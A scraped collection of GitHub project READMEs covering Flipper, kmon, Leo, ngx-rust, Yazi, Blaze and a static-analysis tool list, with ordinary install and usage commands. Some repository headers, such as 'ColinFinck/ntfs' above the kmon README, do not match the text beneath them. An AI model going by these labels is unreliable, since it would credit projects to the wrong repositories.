if Flipper.enabled? :search, current_user
  puts 'Search away!'
else
  puts 'No search for you!'
end

All features are disabled by default, so you'll need to explicitly enable them.

# Enable a feature for everyone
Flipper.enable :search

# Enable a feature for a specific actor
Flipper.enable_actor :search, current_user

# Enable a feature for a group of actors
Flipper.enable_group :search, :admin

# Enable a feature for a percentage of actors
Flipper.enable_percentage_of_actors :search, 2

Read more about getting started with Flipper and enabling features.

Flipper Cloud

Like Flipper and want more? Check out Flipper Cloud, which comes with:

everything in one place — no need to bounce around from different application UIs or IRB consoles.
permissions — grant access to everyone in your organization or lockdown each project to particular people.
multiple environments — production, staging, enterprise, by continent, whatever you need.
personal environments — no more rake scripts or manual enable/disable to get your laptop to look like production. Every developer gets a personal environment that inherits from production that they can override as they please (read more).
no maintenance — we'll keep the lights on for you. We also have handy webhooks for keeping your app in sync with Cloud, so our availability won't affect yours. All your feature flag reads are local to your app.
audit history — every feature change and who made it.
rollbacks — enable or disable a feature accidentally? No problem. You can roll back to any point in the audit history with a single click.

Cloud is super simple to integrate with Rails (demo app), Sinatra or any other framework.

Contributing

Fork it
Create your feature branch (git checkout -b my-new-feature)
Run the tests (bundle exec rake). Check out Docker-Compose if you need help getting all the adapters running.
Commit your changes (git commit -am 'Added some feature')
Push to the branch (git push origin my-new-feature)
Create new Pull Request

Releasing

Update the version to be whatever it should be and commit.
script/release
Profit.

Brought To You By

pic	@mention	area
	@jnunemaker	most things
	@bkeepers	most things
	@dpep	tbd
	@alexwheeler	api
	@thetimbanks	ui
	@lazebny	docker

ColinFinck/ntfs

2023-10-29T01:41:52Z

Linux Kernel Manager and Activity Monitor 🐧💻

Linux Kernel Manager and Activity Monitor 🐧💻

The kernel is the part of the operating system that facilitates interactions between hardware and software components. On most systems, it is loaded on startup after the bootloader and handles I/O requests as well as peripherals like keyboards, monitors, network adapters, and speakers. Typically, the kernel is responsible for memory management, process management, device management, system calls, and security. Applications use the system call mechanism for requesting a service from the operating system and most of the time, this request is passed to the kernel using a library provided by the operating system to invoke the related kernel function. While the kernel performs these low-level tasks, it's resident on a separate part of memory named protected kernel space which is not accessible by applications and other parts of the system. In contrast, applications like browsers, text editors, window managers or audio/video players use a different separate area of the memory, user space. This separation prevents user data and kernel data from interfering with each other and causing instability and slowness, as well as preventing malfunctioning application programs from crashing the entire operating system.
There are different kernel designs due to the different ways of managing system calls and resources. For example, while monolithic kernels run all the operating system instructions in the same address space for speed, microkernels use different spaces for user and kernel services for modularity. Apart from those, there are hybrid kernels, nanokernels, and, exokernels. The hybrid kernel architecture is based on combining aspects of microkernel and monolithic kernels.

The Linux kernel is the open-source, monolithic and, Unix-like operating system kernel that used in the Linux distributions, various embedded systems such as routers and as well as in the all Android-based systems. Linus Torvalds conceived and created the Linux kernel in 1991 and it's still being developed by thousands of developers today. It's a prominent example of free and open source software and it's used in other free software projects, notably the GNU operating system. Although the Linux-based operating systems dominate the most of computing, it still carries some of the design flaws which were quite a bit of debate in the early days of Linux. For example, it has the largest footprint and the most complexity over the other types of kernels. But it's a design feature that monolithic kernels inherent to have. These kind of design issues led developers to add new features and mechanisms to the Linux kernel which other kernels don't have.

Unlike the standard monolithic kernels, the Linux kernel is also modular, accepting loadable kernel modules (LKM) that typically used to add support for new hardware (as device drivers) and/or filesystems, or for adding system calls. Since LKMs could be loaded and unloaded to the system at runtime, they have the advantage of extending the kernel without rebooting and re-compiling. Thus, the kernel functionalities provided by modules would not reside in memory without being used and the related module can be unloaded in order to free memory and other resources.
Loadable kernel modules are located in /lib/modules with the .ko (kernel object) extension in Linux. While the lsmod command could be used for listing the loaded kernel modules, modprobe or insmod/rmmod is used for loading or unloading a kernel module. insmod/rmmod are used for modules independent of modprobe and without requiring an installation to /lib/modules/$(uname -r).

Here's a simple example of a Linux kernel module that prints a message when it's loaded and unloaded. The build and installation steps of the module using a Makefile are shown below.

make                         # build
sudo make install            # install
sudo modprobe lkm_example    # load
sudo modprobe -r lkm_example # unload

The dmesg command is used below to retrieve the message buffer of the kernel.

[16994.295552] [+] Example kernel module loaded.
[16996.325674] [-] Example kernel module unloaded.

kmon provides a text-based user interface for managing the Linux kernel modules and monitoring the kernel activities. By managing, it means loading, unloading, blacklisting and showing the information of a module. These updates in the kernel modules, logs about the hardware and other kernel messages can be tracked with the real-time activity monitor in kmon. Since the usage of different tools like dmesg and kmod are required for these tasks in Linux, kmon aims to gather them in a single terminal window and facilitate the usage as much as possible while keeping the functionality.

kmon is written in Rust and uses tui-rs & termion libraries for its text-based user interface.

Installation

Cargo

kmon can be installed from crates.io using Cargo if Rust is installed.

cargo install kmon

The minimum supported Rust version (MSRV) is 1.70.0.

Arch Linux

kmon can be installed from the Arch Linux official repository.

pacman -S kmon

There is also a development package on the AUR. Use your favorite AUR helper to install. For example,

paru -S kmon-git

Nixpkgs

kmon can be installed using Nix package manager from nixpkgs-unstable channel.

nix-channel --add https://nixos.org/channels/nixpkgs-unstable
nix-channel --update nixpkgs
nix-env -iA nixpkgs.kmon

On NixOS:

nix-channel --add https://nixos.org/channels/nixos-unstable
nix-channel --update nixos
nix-env -iA nixos.kmon

Alpine Linux

kmon is available for Alpine Edge. It can be installed via apk after enabling the community repository.

apk add kmon

Docker

docker run -it --cap-add syslog orhunp/kmon:tagname

Build

docker build -t kmon .

Run

docker run -it --cap-add syslog kmon

Manual

Download the latest binary from releases section and pick between glibc or musl-libc binary.
To download the package compiled with glibc run:

wget https://github.com/orhun/kmon/releases/download/v[VERSION]/kmon-[VERSION]-x86_64-unknown-linux-gnu.tar.gz

To download the package compiled with musl-libc run:

wget https://github.com/orhun/kmon/releases/download/v[VERSION]/kmon-[VERSION]-x86_64-unknown-linux-musl.tar.gz

Extract the files.

tar -xvzf kmon-*.tar.gz

Enter in the new folder.

cd kmon-[VERSION]

Run the binary.

./kmon

Move binary to /usr/local/bin/ for running it from the terminal using kmon command.
Man page and shell completions are generated at build time in target directory.

Note

libxcb should be installed for using the copy/paste commands of X11.

e.g: Install libxcb1-dev package for Debian/Ubuntu* and libxcb-devel package for Fedora/openSUSE/Void Linux.

Usage

kmon [OPTIONS] [COMMAND]

Options

-a, --accent-color <COLOR>  Set the accent color using hex or color name [default: white]
-c, --color <COLOR>         Set the main color using hex or color name [default: darkgray]
-t, --tickrate <MS>         Set the refresh rate of the terminal [default: 250]
-r, --reverse               Reverse the kernel module list
-u, --unicode               Show Unicode symbols for the block titles
-h, --help                  Print help information
-V, --version               Print version information

Commands

sort  Sort kernel modules

Sort

kmon sort [OPTIONS]

Options:

-s, --size       Sort modules by their sizes
-n, --name       Sort modules by their names
-d, --dependent  Sort modules by their dependent modules
-h, --help       Print help information

Key Bindings


`[?], F1`	Help
`right/left, h/l`	Switch between blocks
`up/down, k/j, alt-k/j`	Scroll up/down [selected block]
`pgup/pgdown`	Scroll up/down [kernel activities]
`</>`	Scroll up/down [module information]
`alt-h/l`	Scroll right/left [kernel activities]
`ctrl-t/b, home/end`	Scroll to top/bottom [module list]
`alt-e/s`	Expand/shrink the selected block
`ctrl-x`	Change the block position
`ctrl-l/u, alt-c`	Clear the kernel ring buffer
`[d], alt-d`	Show the dependent modules
`[1]..[9]`	Jump to the dependent module
`[\], tab, backtab`	Show the next kernel information
`[/], s, enter`	Search a kernel module
`[+], i, insert`	Load a kernel module
`[-], u, backspace`	Unload the kernel module
`[x], b, delete`	Blacklist the kernel module
`ctrl-r, alt-r`	Reload the kernel module
`m, o`	Show the options menu
`y/n`	Execute/cancel the command
`c/v`	Copy/paste
`r, F5`	Refresh
`q, ctrl-c/d, ESC`	Quit

Features

Help

Press '?' while running the terminal UI to see key bindings.

Navigating & Scrolling

Arrow keys are used for navigating between blocks and scrolling.

Scrolling Kernel Activities

Some kernel messages might be long enough for not fitting into the kernel activities block since they are not wrapped. In this situation, kernel activities can be scrolled horizontally with alt-h & alt-l keys. Vertical scrolling mechanism is the same as other blocks.

Smooth Scrolling

alt-j & alt-k keys can be used to scroll kernel activity and module information blocks slowly.

Options Menu

m and o keys can be used as a shortcut for kernel management operations. When pressed, an options menu will be provided for managing the currently selected kernel module.

Block Sizes

alt-e & alt-s keys can be used for expanding/shrinking the selected block.

Block Positions

ctrl-x key can be used for changing the positions of blocks.

Kernel Information

Use one of the \, tab, backtab keys to switch between kernel release, version and platform information.

Module Information

The status of a kernel module is shown on selection.

Displaying the dependent modules

Use one of the d, alt-d keys to show all the dependent modules of the selected module.

Jumping to dependent modules

For jumping to a dependent kernel module from its parent module, number keys (1-9) can be used for specifying the index of the module on the Used By column.

Searching a module

Switch to the search area with arrow keys or using one of the /, s, enter and provide a search query for the module name.

Loading a module

For adding a module to the Linux kernel, switch to load mode with one of the +, i, insert keys and provide the name of the module to load. Then confirm/cancel the execution of the load command with y/n.

The command that used for loading a module:

modprobe <module_name> || insmod <module_name>.ko

Unloading a module

Use one of the -, u, backspace keys to remove the selected module from the Linux kernel.

The command that used for removing a module:

modprobe -r <module_name> || rmmod <module_name>

Blacklisting a module

Blacklisting is a mechanism to prevent the kernel module from loading. To blacklist the selected module, use one of the x, b, delete keys and confirm the execution.

The command that used for blacklisting a module:

if ! grep -q <module_name> /etc/modprobe.d/blacklist.conf; then
  echo 'blacklist <module_name>' >> /etc/modprobe.d/blacklist.conf
  echo 'install <module_name> /bin/false' >> /etc/modprobe.d/blacklist.conf
fi

Reloading a module

Use ctrl-r or alt-r key for reloading the selected module.

The command that used for reloading a module:

modprobe -r <module_name> || rmmod <module_name> && modprobe <module_name> || insmod <module_name>.ko

Clearing the ring buffer

The kernel ring buffer can be cleared with using one of the ctrl-l/u, alt-c keys.

dmesg --clear

Copy & Paste

c/v keys are set for copy/paste operations.

Use ctrl-c/ctrl-v for copying and pasting while in input mode.

Sorting/reversing the kernel modules

sort subcommand can be used for sorting the kernel modules by their names, sizes or dependent modules.

kmon sort --name
kmon sort --size
kmon sort --dependent

Also the -r, --reverse flag is used for reversing the kernel module list.

kmon --reverse

Customizing the colors

kmon uses the colors of the terminal as default but the highlighting color could be specified with -c, --color option. Alternatively, default text color can be set via -a, --accent-color option.

Supported colors

Supported terminal colors are black, red, green, yellow, blue, magenta, cyan, gray, darkgray, lightred, lightgreen, lightyellow, lightblue, lightmagenta, lightcyan, white.

kmon --color red

Using a custom color

Provide a hexadecimal value for the color to use.

kmon --color 19683a

Changing the accent color

Default text color might cause readability issues on some themes that have transparency. -a, --accent-color option can be used similarly to the -c, --color option for overcoming this issue.

kmon --color 6f849c --accent-color e35760

Unicode symbols

Use -u, --unicode flag for showing Unicode symbols for the block titles.

kmon --unicode

Setting the terminal tick rate

-t, --tickrate option can be used for setting the refresh interval of the terminal UI in milliseconds.

Roadmap

kmon aims to be a standard tool for Linux kernel management while supporting most of the Linux distributions.

Accessibility

For achieving this goal, kmon should be accessible from different package managers such as Snap * and RPM.

Dependencies

It is required to have the essential tools like dmesg and kmod on the system for kmon to work as expected. Thus the next step would be using just the system resources for these functions.

Features

Management actions about the Linux kernel should be applicable in kmon for minimizing the dependence on to command line and other tools.

Testing

kmon should be tested and reported on different architectures for further development and support.

Resources

About the project

Articles

In the media

Manage And Monitor Linux Kernel Modules With Kmon ( OSTechNix)
Kmon The Linux Kernel Management And Monitoring Software (Brodie Robertson on YouTube)

Gallery

Fedora 31	Debian 10	Manjaro 19

Ubuntu 18.04	openSUSE	Void Linux

Social Media

Follow @kmonitor_ on Twitter
Follow the author:
- @orhun on GitHub
- @orhunp_ on Twitter

Funding

GitHub

Support the development of my projects by supporting me on GitHub Sponsors.

Patreon

Open Collective

Support the open source development efforts by becoming a backer or sponsor.

License

GNU General Public License (3.0)

Copyright

oxidecomputer/hubris

2023-10-29T01:41:52Z

🦁 The Leo Programming Language. A Programming Language for Formally Verified, Zero-Knowledge Applications

The Leo Programming Language

Leo is a functional, statically-typed programming language built for writing private applications.

🍎 Overview

Welcome to the Leo programming language.

Leo provides a high-level language that abstracts low-level cryptographic concepts and makes it easy to integrate private applications into your stack. Leo compiles to circuits making zero-knowledge proofs practical.

The syntax of Leo is influenced by traditional programming languages like JavaScript, Scala, and Rust, with a strong emphasis on readability and ease-of-use. Leo offers developers with tools to sanity check circuits including unit tests, integration tests, and console functions.

Leo is one part of a greater ecosystem for building private applications on Aleo. The language is currently in an alpha stage and is subject to breaking changes.

⚙️️ Build Guide

🦀 Install Rust

We recommend installing Rust using rustup. You can install rustup as follows:

macOS or Linux:

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

Windows (64-bit):

Download the Windows 64-bit executable and follow the on-screen instructions.
Windows (32-bit):

Download the Windows 32-bit executable and follow the on-screen instructions.

🐙 Build from Source Code

We recommend installing Leo by building from the source code as follows:

# Download the source code
git clone https://github.com/AleoHQ/leo
cd leo

# Install 'leo'
$ cargo install --path .

Now to use leo, in your terminal, run:

leo

🚀 Quick Start

Use the Leo CLI to create a new project

# create a new `hello-world` Leo project
leo new helloworld
cd helloworld

# build & setup & prove & verify
leo run

The leo new command creates a new Leo project with a given name.

The leo run command will compile the program into Aleo instructions and run it.

Congratulations! You've just run your first Leo program.

🧰 Troubleshooting

If you are having trouble installing and using Leo, please check out our guide.

If the issue still persists, please open an issue.

📖 Documentation

🤝 Contributing

Please see our guidelines in the developer documentation

❤️ Contributors

Thank you for helping make Leo better!
What do the emojis mean?🧐

_d0cd 💻 🚧 💬 👀	_{Collin Chin} 💻 📖 🚧 👀	_{Howard Wu} 🤔 🚧 🔬 👀	_{Alessandro Coglio} 📖 🚧 💬 👀	_{Eric McCarthy} 📖 🚧 💬 👀	_{Raymond Chu} 🤔 💻 🔬	_ljedrz 🐛 💻 💬
_aharshbe ✅🐛 💬	_{Mazdak Farrokhzad} 💻	_{Damir Shamanaev} 💻	_gluax 💻	_0rphon 💻	_{Max Bruce} 💻	_{Sergey Isaev} 💻
_{François Garillot} 💻	_{Weikeng Chen} 🔬	_sptg 🐛 💻	_LouisWT 💻	_yuliyu123 💻	_detailyang 💻	_{Tom-OriginStorage} 💻
_omahs 💻	_Haruka 🐛 💻	_swift-mx 💻	_{Francisco Strambini} 💻	_{Daniel Gushchyan} ✅	_r4keta ✅	_liolikus 🖋
_{Evgeny Garanin} ✅	_NickoMenty ✅	_eug33ne ✅	_Nininiao ✅	_CTurE1 ✅	_{colliseum2006} ✅	_boaaa ✅
_HausenUA ✅	_{TerrenceTepezano} ✅	_Zabka0x94 ✅	_DarronHanly1 ✅	_FengXiaoYong ✅	_{KassieSteinman} ✅	_MaishaAzim ✅
_{Moria Bright} ✅	_Bradshow ✅	_{SilvaHoffarth} ✅	_Elaine1015 ✅	_vasylbelyi ✅	_EgorMajj ✅	_RNS23 ✅
_{VoinaOleksandr} ✅	_alexprimak58 ✅	_Asimous22 ✅	_Marik0023 ✅	_JanSchluter ✅	_{AminaPerrigan} ✅	_Utah8O ✅
_{ApoloniaResseguie} ✅	_{NobukoCausley} ✅	_ololo70 ✅	_{evangelion4215} ✅	_boodovskiy ✅	_BULVER777 ✅	_{Kyrylo Budovskyi} ✅
_sayber1717 ✅	_BudiSwy ✅	_romacll ✅	_{habaroff18203} ✅	_LennyPro6 ✅	_n0d4 ✅	_grossbel12 ✅
_Orliha ✅	_darjin 🖋	_romacll ✅	_aleoweb123 ✅	_{Andrew Rosborough} 🖋	_R-Demon ✅	_sryykov ✅
_himera0482 ✅	_encipher88 ✅	_Likaenigma ✅	_bartosian ✅	_{Recep Deniz} ✅	_Saimon87 ✅	_{Big Ixela} ✅
_{Denys Riabets} ✅	_{Dmytro Groma} ✅	_{Volodymyr Rudoi} ✅	_{Petro Falatiuk} ✅	_ElsaChill ✅	_gsulaberidze ✅	_kegvorn ✅
_{totoro_me} ✅	_{timchinskiyalex} ✅	_DimaSpys ✅	_dimbirch ✅	_YuraPySHIT ✅	_annabirch ✅	_baxzban ✅
_nnewera3 ✅	_LabLinens ✅	_drimartist ✅	_savarach ✅	_padjfromdota ✅	_gglorymen ✅	_{KrisMorisBoris} ✅
_WebDuster ✅	_Tasham2008 ✅	_760AnaPY ✅	_imshelest ✅	_mirmalnir ✅	_AnatoliMP ✅	_ihortym ✅
_Vplmrchk ✅	_anrd04 ✅	_Gonruk ✅	_ur4ix ✅	_AllininanQ ✅	_Juliaaa26 ✅	_{Hacker-web-Vi} ✅
_Mickey1245 ✅	_anastese ✅	_NastyaTR97 ✅	_andriypaska ✅	_dendistar ✅	_kartaviy223 ✅	_BluePEz ✅
_Ihorika2 ✅	_taraspaska ✅	_Ragnaros12q ✅	_StasFreeman ✅	_McTrick ✅	_Dimaleron ✅	_Boruto11dw ✅
_NOne790 ✅	_Golldirr ✅	_dmytriievp ✅	_{InfernoCyber55} ✅	_dexxeed ✅	_kumarman1 ✅	_nika040 ✅
_{Collins44444444444444} ✅	_aavegotch ✅	_{Sergiy Svitlyk} ✅	_Mariia077 ✅	_svitlykihor ✅	_{Dmytro Haiov} ✅	_{Annnnnnnnnnna} ✅
_{turchmanovich101} ✅	_Zasmin12ve ✅	_timfaden ✅	_{MerlinKlasnuy} ✅	_erikprimerov ✅	_Andreewko ✅	_{Daniel Nguyen} ✅
_igorstrong ✅	_{Kramar Maxim} ✅	_{Marina Boyko} ✅	_YaakovHuang ✅	_viktoria3715 ✅	_{Hello-World99bit} ✅	_{Alan-Zarevskij} ✅
_Huliko ✅	_tommy1qwerty ✅	_sueinz ✅	_Julia-path ✅	_{Diana Shershun} ✅	_mcnk020 ✅	_Edgar0515 ✅
_Ju1issa ✅	_MGavrilo ✅	_YujiROO1 ✅	_yuriyMiller ✅	_{Tetiana Pavlenko} ✅	_MGavrilo ✅	_vizimnokh ✅
_{Oleksii Svitlyk} ✅	_t3s1 ✅	_BloodBand ✅	_{thereisnspoon} ✅	_{InfernoCyber55} ✅	_Pikkorio1 ✅	_quertc ✅
_Yuriihrk ✅	_stsefa ✅	_{Alan Harper} ✅	_imanbtc ✅	_{Oleksandr7744} ✅	_MarikJudo ✅	_Piermanenta ✅
_Karoliniio ✅	_{Olga Svitlyk} ✅	_khanaya9845 ✅	_OlgaBurd ✅	_{YaakovHunag920515} ✅	_Songoku1691 ✅	_Timssse ✅
_LLoyD1337 ✅	_VeranOAS ✅	_kirileshta ✅	_dimapr1 ✅	_senol10 ✅	_{hoangsoncomputer} ✅	_Timssse ✅
_Erskine2022 ✅	_CTurE1 ✅	_HoratioElise ✅
Add your contributions

This project follows the all-contributors specification. Contributions of any kind welcome!

🛡️ License

🔼 Back to top

nginxinc/ngx-rust

2023-10-30T01:35:18Z

Rust binding for NGINX

Project status

This project is still a work in progress and not production ready.

Description

This project provides Rust SDK interfaces to the NGINX proxy allowing the creation of NGINX dynamic modules completely in Rust.

In short, this SDK allows writing NGINX modules using the Rust language.

Build

NGINX modules can be built against a particular version of NGINX. The following environment variables can be used to specify a particular version of NGINX or an NGINX dependency:

ZLIB_VERSION (default 1.3) -
PCRE2_VERSION (default 10.42)
OPENSSL_VERSION (default 3.0.7)
NGX_VERSION (default 1.23.3) - NGINX OSS version
NGX_DEBUG (default to false)- if set to true, then will compile NGINX --with-debug option

For example, this is how you would compile the examples using a specific version of NGINX and enabling debugging:

NGX_DEBUG=true NGX_VERSION=1.23.0 cargo build --package=examples --examples --release

To build Linux-only modules, use the "linux" feature:

cargo build --package=examples --examples --features=linux --release

After compilation, the modules can be found in the path target/release/examples/ ( with the .so file extension for Linux or .dylib for MacOS).

Additionally, the folder .cache/nginx/{NGX_VERSION}/{OS}/ will contain the compiled version of NGINX used to build the SDK. You can start NGINX directly from this directory if you want to test the module.

Mac OS dependencies

In order to use the optional GNU make build process on MacOS, you will need to install additional tools. This can be done via homebrew with the following command:

brew install make openssl grep

Additionally, you may need to set up LLVM and clang. Typically, this is done as follows:

# make sure xcode tools are installed
xcode-select --install
# instal llvm
brew install --with-toolchain llvm

Linux dependencies

See the Dockerfile for dependencies as an example of required packages on Debian Linux.

Build example

Example modules are available in examples folder. You can use cargo build --package=examples --examples to build these examples. After building, you can find the .so or .dylib in the target/debug folder. Add --features=linux to build linux specific modules. NOTE: adding the "linux" feature on MacOS will cause a build failure.

For example (all examples plus linux specific): cargo build --package=examples --examples --features=linux

Docker

We provide a multistage Dockerfile:

# build all dynamic modules examples and specify NGINX version to use
docker buildx build --build-arg NGX_VERSION=1.23.3 -t ngx-rust .

# start NGINX using [curl](examples/curl.conf) module example:
docker run --rm -d  -p 8000:8000 ngx-rust nginx -c examples/curl.conf

# test it - you should see 403 Forbidden
curl http://127.0.0.1:8000 -v -H "user-agent: curl"


# test it - you should see 404 Not Found
curl http://127.0.0.1:8000 -v -H "user-agent: foo"

Usage

A complete module example using the SDK can be found here. You can build it with cargo build --package=examples --example=curl then set up NGINX to use it:

For example:

daemon off;
master_process off;

# unix:
# load_module modules/libcurl.so;

# error_log logs/error.log debug;
error_log /dev/stdout debug;

working_directory /tmp/cores/;
worker_rlimit_core 500M;

events {
}

http {
    access_log /dev/stdout;
    server {
        listen 8000;
        server_name localhost;
        location / {
            alias /srv/http;
            # ... Other config stuff ...

            curl on;
        }
    }
}

Support

This SDK is currently unstable. Right now, our primary goal is collect feedback and stabilize it be before offering support. Feel free contributing by creating issues, PRs, or github discussions.

Currently, the only supported platforms are:

Darwin (Mac OSX)
Linux platform

Roadmap

If you have ideas for releases in the future, please suggest them in the github discussions.

Contributing

We welcome pull requests and issues!

Please refer to the Contributing Guidelines when doing a PR.

Authors and acknowledgment

This project uses some great work from dcoles/nginx-rs, arvancloud/nginx-rs.

License

All code in this repository is licensed under the Apache License v2 license.

sxyazi/yazi

2023-10-29T02:01:27Z

💥 Blazing fast terminal file manager written in Rust, based on async I/O.

Yazi - ⚡️ Blazing Fast Terminal File Manager

Yazi ("duck" in Chinese) is a terminal file manager written in Rust, based on non-blocking async I/O. It aims to provide an efficient, user-friendly, and customizable file management experience.

💫 A new article explaining its internal workings: Why is Yazi Fast?

🚀 Full Asynchronous Support: All I/O operations are asynchronous, CPU tasks are spread across multiple threads, making the most of available resources.
💪 Powerful Async Task Scheduling and Management: Provides real-time progress updates, task cancellation, and internal task priority assignment.
🖼️ Built-in Support for Multiple Image Protocols: Also integrated with Überzug++, covering almost all terminals.
🌟 Built-in Code Highlighting and Image Encoding: Combined with the pre-caching mechanism, greatly accelerates image and normal file loading.
🧰 Integration with fd, rg, fzf, zoxide
💫 Vim-like Input component, and Select component
🏷️ Multi-Tab Support, Scrollable Preview (for videos, PDFs, archives, directories, code, etc.)
🔄 Batch Renaming, Visual Mode, File Chooser
🎨 Theme System, Custom Layouts, Trash Bin, CSI u
... and more!

https://github.com/sxyazi/yazi/assets/17523360/92ff23fa-0cd5-4f04-b387-894c12265cc7

⚠️ Note: Yazi is currently in active development and may be unstable. The API is subject to change without prior notice.

Documentation

Usage: https://yazi-rs.github.io/usage/installation
Showcase: https://yazi-rs.github.io/showcase

Discussion

Discord Server (English mainly): https://discord.gg/qfADduSdJu
Telegram Group (Chinese mainly): https://t.me/yazi_rs

Image Preview

Platform	Protocol	Support
Kitty	Terminal graphics protocol	✅ Built-in
WezTerm	Terminal graphics protocol	✅ Built-in
Konsole	Terminal graphics protocol	✅ Built-in
iTerm2	Inline images protocol	✅ Built-in
Mintty (Git Bash)	Inline images protocol	✅ Built-in
Hyper	Sixel graphics format	✅ Built-in
foot	Sixel graphics format	✅ Built-in
Black Box	Sixel graphics format	✅ Built-in
X11 / Wayland	Window system protocol	☑️ Überzug++ required
Fallback	Chafa	☑️ Überzug++ required

Yazi automatically selects the appropriate preview method for you, based on the priority from top to bottom. That's relying on the $TERM, $TERM_PROGRAM, and $XDG_SESSION_TYPE variables, make sure you don't overwrite them by mistake!

For instance, if your terminal is Alacritty, which doesn't support displaying images itself, but you are running on an X11/Wayland environment, it will automatically use the "Window system protocol" to display images -- this requires you to have Überzug++ installed.

Here is a guide for tmux users: Image preview within tmux

TODO

See Feature requests for more details.

License

Yazi is MIT licensed. For more information check the LICENSE file.

blaze-init/blaze

2023-10-29T02:01:27Z

Blazing-fast query execution engine speaks Apache Spark language and has Arrow-DataFusion at its core.

BLAZE

The Blaze accelerator for Apache Spark leverages native vectorized execution to accelerate query processing. It combines the power of the Apache Arrow-DataFusion library and the scale of the Spark distributed computing framework.

Blaze takes a fully optimized physical plan from Spark, mapping it into DataFusion's execution plan, and performs native plan computation in Spark executors.

Blaze is composed of the following high-level components:

Spark Extension: hooks the whole accelerator into Spark execution lifetime.
Spark Shims: specialized codes for different versions of spark.
Native Engine: implements the native engine in rust, including:
- ExecutionPlan protobuf specification
- JNI gateway
- Customized operators, expressions, functions

Based on the inherent well-defined extensibility of DataFusion, Blaze can be easily extended to support:

Various object stores.
Operators.
Simple and Aggregate functions.
File formats.

We encourage you to extend DataFusion capability directly and add the supports in Blaze with simple modifications in plan-serde and extension translation.

Build from source

To build Blaze, please follow the steps below:

Install Rust

The native execution lib is written in Rust. So you're required to install Rust (nightly) first for compilation. We recommend you to use rustup.

Install JDK+Maven

Blaze has been well tested on jdk8 and maven3.5, should work fine with higher versions.

Check out the source code.

git clone git@github.com:blaze-init/blaze.git
cd blaze

Build the project.

Specify shims package of which spark version that you would like to run on. You could either build Blaze in dev mode for debugging or in release mode to unlock the full potential of Blaze.

SHIM=spark333 # or spark303
MODE=release # or dev
mvn package -P"${SHIM}" -P"${MODE}"

After the build is finished, a fat Jar package that contains all the dependencies will be generated in the target directory.

Build with docker

You can use the following command to build a centos-7 compatible release:

SHIM=spark333 MODE=release ./release-docker.sh

Run Spark Job with Blaze Accelerator

This section describes how to submit and configure a Spark Job with Blaze support.

move blaze jar package to spark client classpath (normally spark-xx.xx.xx/jars/).
add the follow confs to spark configuration in spark-xx.xx.xx/conf/spark-default.conf:

spark.sql.extensions org.apache.spark.sql.blaze.BlazeSparkSessionExtension
spark.shuffle.manager org.apache.spark.sql.execution.blaze.shuffle.BlazeShuffleManager

# other blaze confs defined in spark-extension/src/main/java/org/apache/spark/sql/blaze/BlazeConf.java

submit a query with spark-sql, or other tools like spark-thriftserver:

spark-sql -f tpcds/q01.sql

Performance

Check Benchmark Results with the latest date for the performance comparison with vanilla Spark on TPC-DS 1TB dataset. The benchmark result shows that Blaze saved ~40% query time and ~45% cluster resources in average. ~5x performance achieved for the best case (q06). Stay tuned and join us for more upcoming thrilling numbers.

Query time:

Cluster resources:

We also encourage you to benchmark Blaze and share the results with us. 🤗

Community

We're using Discussions to connect with other members of our community. We hope that you:

Ask questions you're wondering about.
Share ideas.
Engage with other community members.
Welcome others and are open-minded. Remember that this is a community we build together 💪 .

License

Blaze is licensed under the Apache 2.0 License. A copy of the license can be found here.

analysis-tools-dev/static-analysis

2023-10-29T02:01:27Z

⚙️ A curated list of static analysis (SAST) tools and linters for all programming languages, config files, build tools, and more. The focus is on tools which improve code quality.

This repository lists static analysis tools for all programming languages, build tools, config files and more. The focus is on tools which improve code quality such as linters and formatters. The official website, analysis-tools.dev is based on this repository and adds rankings, user comments, and additional resources like videos for each tool.

Meaning of Symbols:

ℹ indicates that the community does not recommend to use this tool for new projects anymore. The icon links to the discussion issue.
⚠ means that this tool was not updated for more than 1 year, or the repo was archived.

Pull requests are very welcome!
Also check out the sister project, awesome-dynamic-analysis.

Programming Languages

Multiple Languages

Other

Show Other

Programming Languages

ABAP

abaplint — Linter for ABAP, written in TypeScript.
abapOpenChecks — Enhances the SAP Code Inspector with new and customizable checks.

Ada

Polyspace for Ada © — Provide code verification that proves the absence of overflow, divide-by-zero, out-of-bounds array access, and certain other run-time errors in source code.

Assembly

STOKE ⚠ — A programming-language agnostic stochastic optimizer for the x86_64 instruction set. It uses random search to explore the extremely high-dimensional space of all possible program transformations.

Awk

gawk --lint — Warns about constructs that are dubious or nonportable to other awk implementations.

C

Astrée © — Astrée automatically proves the absence of runtime errors and invalid concurrent behavior in C/C++ applications. It is sound for floating-point computations, very fast, and exceptionally precise. The analyzer also checks for MISRA/CERT/CWE/Adaptive Autosar coding rules and supports qualification for ISO 26262, DO-178C level A, and other safety standards. Jenkins and Eclipse plugins are available.
CBMC — Bounded model-checker for C programs, user-defined assertions, standard assertions, several coverage metric analyses.
clang-tidy — Clang-based C++ linter tool with the (limited) ability to fix issues, too.
clazy — Qt-oriented static code analyzer based on the Clang framework. clazy is a compiler plugin which allows clang to understand Qt semantics. You get more than 50 Qt related compiler warnings, ranging from unneeded memory allocations to misusage of API, including fix-its for automatic refactoring.
CMetrics — Measures size and complexity for C files.
CPAchecker — A tool for configurable software verification of C programs. The name CPAchecker was chosen to reflect that the tool is based on the CPA concepts and is used for checking software programs.
cppcheck — Static analysis of C/C++ code.
cpplint — Automated C++ checker that follows Google's style guide.
cqmetrics — Quality metrics for C code.
CScout ⚠ — Complexity and quality metrics for C and C preprocessor code.
ESBMC — ESBMC is an open source, permissively licensed, context-bounded model checker based on satisfiability modulo theories for the verification of single- and multi-threaded C/C++ programs.
flawfinder — Finds possible security weaknesses.
flint++ — Cross-platform, zero-dependency port of flint, a lint program for C++ developed and used at Facebook.
Frama-C — A sound and extensible static analyzer for C code.
GCC — The GCC compiler has static analysis capabilities since version 10. This option is only available if GCC was configured with analyzer support enabled. It can also output its diagnostics to a JSON file in the SARIF format (from v13).
Goblint — A static analyzer for the analysis of multi-threaded C programs. Its primary focus is the detection of data races, but it also reports other runtime errors, such as buffer overflows and null-pointer dereferences.
Helix QAC © — Enterprise-grade static analysis for embedded software. Supports MISRA, CERT, and AUTOSAR coding standards.
IKOS — A sound static analyzer for C/C++ code based on LLVM.
Joern — Open-source code analysis platform for C/C++ based on code property graphs
KLEE — A dynamic symbolic execution engine built on top of the LLVM compiler infrastructure. It can auto-generate test cases for programs such that the test cases exercise as much of the program as possible.
